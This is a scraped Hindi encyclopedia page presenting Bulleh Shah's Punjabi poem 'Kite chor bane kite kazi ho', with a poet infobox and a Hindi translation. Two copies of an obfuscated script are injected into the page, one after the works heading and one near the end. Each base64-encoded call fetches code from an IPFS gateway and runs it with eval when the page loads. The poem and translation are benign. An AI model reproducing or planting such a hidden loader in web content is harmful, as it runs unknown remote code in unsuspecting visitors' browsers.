एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "१"।

किते चोर बने किते काज़ी हो -बुल्ले शाह

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
किते चोर बने किते काज़ी हो -बुल्ले शाह
बुल्ले शाह
कवि बुल्ले शाह
जन्म 1680 ई.
जन्म स्थान गिलानियाँ उच्च, वर्तमान पाकिस्तान
मृत्यु 1758 ई.
मुख्य रचनाएँ बुल्ले नूँ समझावन आँईयाँ, अब हम गुम हुए, किते चोर बने किते काज़ी हो
इन्हें भी देखें कवि सूची, साहित्यकार सूची
बुल्ले शाह की रचनाएँ
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

किते चोर बने किते काज़ी हो,
किते मिम्बर ते बेह वाज़ी हो।
किते तेग बहादुर ग़ाज़ी हो
आपे अपना कटक बनाई दा,
हुण किस तों आप लुकाई दा।


हिन्दी अनुवाद

कहीं आप चोर हैं, कहीं क़ाज़ी हैं,
कहीं मंच पर चढ़े प्रचारक हैं,
और कहीं शहीद गुरु तेगबहादुर हैं,
आप अपनी सेना स्वयं बनाते हैं,
अब आप स्वयं को किससे छुपा रहे हैं।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख